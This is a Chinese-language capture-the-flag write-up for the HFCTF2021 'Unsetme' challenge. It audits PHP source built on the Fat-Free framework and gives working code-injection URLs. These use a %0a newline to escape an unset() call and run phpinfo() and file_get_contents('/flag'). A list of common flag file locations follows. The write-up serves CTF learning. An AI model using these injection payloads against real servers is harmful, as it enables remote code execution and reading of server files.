题目链接:[HFCTF2021]Unsetme
解题思路
打开靶场发现是一段PHP源码
做一下代码审阅:
<?php
// Kickstart the framework
$f3=require('lib/base.php');//引入f3框架源码
$f3->set('DEBUG',1);//f3对象设置DEBUG属性
if ((float)PCRE_VERSION<8.0)
trigger_error('PCRE version is out of date');//判断PCRE版本
highlight_file(__FILE__);//高亮显示源码
$a=$_GET['a'];//读取get方法的a参数的值
unset($f3->$a);//调用unset函数,去除f3对象中的$a属性
$f3->run();//启动f3框架
代码审阅完成后可以发现,我们可以通过调试a的值,设置pyload绕过unset函数从而执行我们的php代码。
尝试编辑url: http://f27b1769-8bf9-4c77-a499-59963112d705.node5.buuoj.cn:81/?a=a%0a);phpinfo(
发现植入成功
然后就可以构造payload尝试获取flaghttp://f27b1769-8bf9-4c77-a499-59963112d705.node5.buuoj.cn:81/?a=a%0a);echo%20file_get_contents(%27/flag%27
获取成功~
知识补充
1)%0a编码含义及必要性
我在构造payload时,发现?a=a);phpinfo(
不可以,但是?a=a%0a);phpinfo(
可以,这是为什么?
答:%0a
是换行符\n
的url编码,如果不插入换行符,就是下面这种效果
unset($f3->a);phpinfo();
这会导致PHP解释器将整行的字符当作unset的参数处理,导致语法错误。如果插入换行符,变成这样:
unset($f3->a
);phpinfo();
换行符将代码拆分成多个语句,PHP解释器就会判定换行前参数参数接受完毕,从而成功执行后续代码。
2)常见flag存放位置
/flag
/etc/flag
/home/ctf/flag
/var/flag
本题就是在系统根目录下,即/flag处,日后的题目可以多试一下
3)常见payload特殊字符的url编码
' = %27
空格 = %20
\n = %0a